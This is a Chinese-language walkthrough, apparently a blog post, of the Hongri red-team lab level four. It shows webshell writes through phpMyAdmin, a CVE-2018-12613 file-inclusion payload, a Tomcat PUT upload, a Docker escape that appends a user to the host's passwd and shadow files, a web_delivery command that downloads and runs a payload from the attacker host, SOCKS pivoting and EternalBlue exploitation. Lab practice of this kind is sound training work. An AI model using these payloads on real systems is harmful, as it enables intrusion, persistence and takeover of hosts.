Bootstrap

红日靶场第四关

红日靶场第四关

  • 可以查看我个人博客http://cllmsy.cn/与我交流,CSDN只是为了方便发图。

一、环境配置

大家好红日安全红队靶场(四)已经出来,本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。
靶场学习路径,可参考
    strusts漏洞利用
    phpmyadmin getshell
    tomcat 漏洞利用
    docker逃逸
    ms14-068
    ssh密钥利用
    流量转发
    历史命令信息泄露
    域渗透
  • WEB-Ubuntu docker开启

    sudo docker start ec 17 09 bb da 3d ab ad
    

二、目标

ubuntu:ubuntu域成员机器
douser:Dotest123
DC:administrator:Test2008 ——>NStest2008

web:192.168.183.133  192.168.157.132  
域成员:192.168.183.128
域控:192.168.183.130

三、WEB外网打点

3.1 信息收集

3.1.1 端口扫描

NMAP:

在这里插入图片描述

端口分别对应:phpmyadmin、tomcat、strust2

3.2 Shell

3.2 PHPmyAdmin Getshell
一、在网站根目录下
select @@basedir;
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/shell.php';  #网站的根目录,利用mysql日志写文件
show variables like '%general%';  #查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on';
SET GLOBAL general_log_file='根目录';  #即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["cmd"]);?>';  #执行语句-->即在日志文件中会直接生成

三、CVE-2018-12613远程文件包含(对应版本:phpmyadmin 4.8.1)
payload:
http://192.168.157.131:2003/?target=tbl_zoom_select.php?/../../../../../../etc/hosts
3.2.1 搭配任意命令执行

这个数据库有一个叫test的数据库,可以向里面任意信息,因为php包含的文件都会以php解析,所以可以写入相应php代码执行任意命令。查看本地数据库路径,创建一个rce表,向表内插入php语句,包含执行。

show global variables like "%datadir%";
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

通过 phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。

查看session:

在这里插入图片描述

文件包含payload:/index.php?target=db_datadict.php%253f…/…/…/…/…/…/…/…/…/tmp/sess_[cookie]

在这里插入图片描述

3.3 Apache Tomcat/8.5.19 Getshell

GET改为PUT,添加文件/ns.jsp/,写入数据test

在这里插入图片描述

访问url:

在这里插入图片描述

3.3.1 任意文件上传写马

传入冰蝎马:

在这里插入图片描述

冰蝎连接:

在这里插入图片描述

3.4 Struts2 getshell

直接上工具即可:

在这里插入图片描述

查看信息:

在这里插入图片描述

  • 拿下的shell是Docker的shell,所以需要逃逸出来,在Ubuntu上操作,才能意识到真实网卡。

    在这里插入图片描述

3.2 Docker逃逸

3.2.1 判断是否为docker环境
ls -alh /.dockerenv
cat /proc/1/cgroup

在这里插入图片描述

3.2.2 特权模式逃逸
3.2.2.1 目录挂载

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。创建一个文件夹,将宿主机根目录挂载至容器目录下。

fdisk -l
/usr/local/tomcat/ >cd /tmp
/tmp/ >mkdir test
/tmp/ >mount /dev/sda1 test
/tmp/ >ls test

在这里插入图片描述

3.2.2.2 查看肉鸡密码

cat test/etc/passwd

在这里插入图片描述

3.2.2.3 SSH

查看kali的passwd与shadow

sudo tail /etc/passwd

sudo tail /etc/shadow

在这里插入图片描述

更改肉鸡的passwd和shadow。这里我重新找了个有用户的kali演示:

passwd:

在这里插入图片描述

shadow:

在这里插入图片描述

执行命令替换:

/tmp/ >echo 'coke:x:1000:1000:coke,,,:/home/coke:/usr/bin/zsh' >> test/etc/passwd
/tmp/ >echo 'coke:$y$j9T$9lrNT/MCuvXtVC4Uywr0R0$PIg8sFby4aKmUHBbIW5ox8cMW7WiiEFUBWtvjR0iv9/:18726:0:99999:7:::' >> test/etc/shadow
kali:ssh COKE@192.168.157.132
踩坑点:我试了很多遍都不可以,后面是直接在ubuntu上建立了一个普通用户COKE,密码为admin123,经过排查筛选后,发现可能存在的原因是因为密码不符合安全策略,要有6位以上是必要的,其次是貌似不能纯数字。

在这里插入图片描述

3.3 提权

关于ubuntu的一些知识:首先ubuntu是用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权。

在这里插入图片描述

提权成功:

在这里插入图片描述

四、上线MSF(不懂的看我红日三)

4.1 反弹shell给MSF

msf生成Linux的shell,用于后期代理横向:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=kaliIP LPORT=9999 -f elf > shell.elf

在这里插入图片描述

4.1.1 配置监听
> use exploit/multi/script/web_deliverymsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.157.133msf6 exploit(multi/script/web_delivery) > set LPORT 9999msf6 exploit(multi/script/web_delivery) > set target 7msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > exploit#会生成一段payload:#[*] Run the following command on the target machine:wget -qO LCQQCJqX --no-check-certificate http://192.168.157.133:8080/dbU1A03tfCzKj8T; chmod +x LCQQCJqX; ./LCQQCJqX& disown
4.1.2 FTP上传

在这里插入图片描述

4.1.3 运行并查看

在这里插入图片描述

想要进入meterpreter的只需sessions 1即可。

在这里插入图片描述

4.2 端口转发

4.2.1 路由转发MSF入段
# 不小心退出了sessions1,所以我重新开了个sessions2,其实意思差不多。msf路由转发,让msf进入内网183段sock5代理,让kali进入内网183段msf路由转发> route print> route add 192.168.183.0 255.255.255.0 1> route print

在这里插入图片描述

4.2.2 socket5代理转发KALI
#关于proxychains4用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网.

KALI中的操作:

vim /etc/proxychains4.conf:末尾最后一行注释socks4,添加一行socks5 127.0.0.1 1080> cd /root/ew/      :进入目录> ./ew_for_linux64 -s rcsocks -l 1080 -e 1234

Centos中的操作:

> cd /tmp/   :上传ew_for_linux64到该目录下> chmod +x *  :添加权限,不然没法执行> ./ew_for_linux64 -s rssocks -d 192.168.157.133(kali) -e 1234 

centos:

在这里插入图片描述

五、内网横向

5.1 信息收集

5.1.1 本机信息收集

ifconfig /all

外网IP:192.168.157.135 内网IP:192.168.183.134

在这里插入图片描述

sysinfo:版本查询

在这里插入图片描述

5.1.2 内网 bash资产探测

在这里插入图片描述

5.1.3 端口扫描
proxychains4 nmap -Pn -sT -sV 肉鸡IP -F

WIN7:

在这里插入图片描述

WIN2008R2 域控:

在这里插入图片描述

5.2 永恒之蓝检测与利用

5.2.1 拿下WIN7
proxychains4 msfconsole # 必须用proxychains4代理进入msf6> search ms17-010msf6 > use auxiliary/scanner/smb/smb_ms17_010msf6 > set rhosts 192.168.183.128msf6 > run

在这里插入图片描述

win7存在永恒之蓝,利用:

msf6> search ms17-010msf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 > set rhosts 192.168.183.128msf6 > set payload windows/x64/meterpreter/bind_tcpmsf6 > run多试几次才能成功。

在这里插入图片描述

5.2.2 拿下域控

域控也存在永恒之蓝

在这里插入图片描述

利用:

在这里插入图片描述

六、总结

打linux机子,完全凭运气,首先是各种搭的不稳定,其次是拿shell过程连接不稳定,几十秒断一次,压根没法拿下黄票子,linux机子还是比较安全的,毕竟拿下linux的机子也很不容易..
;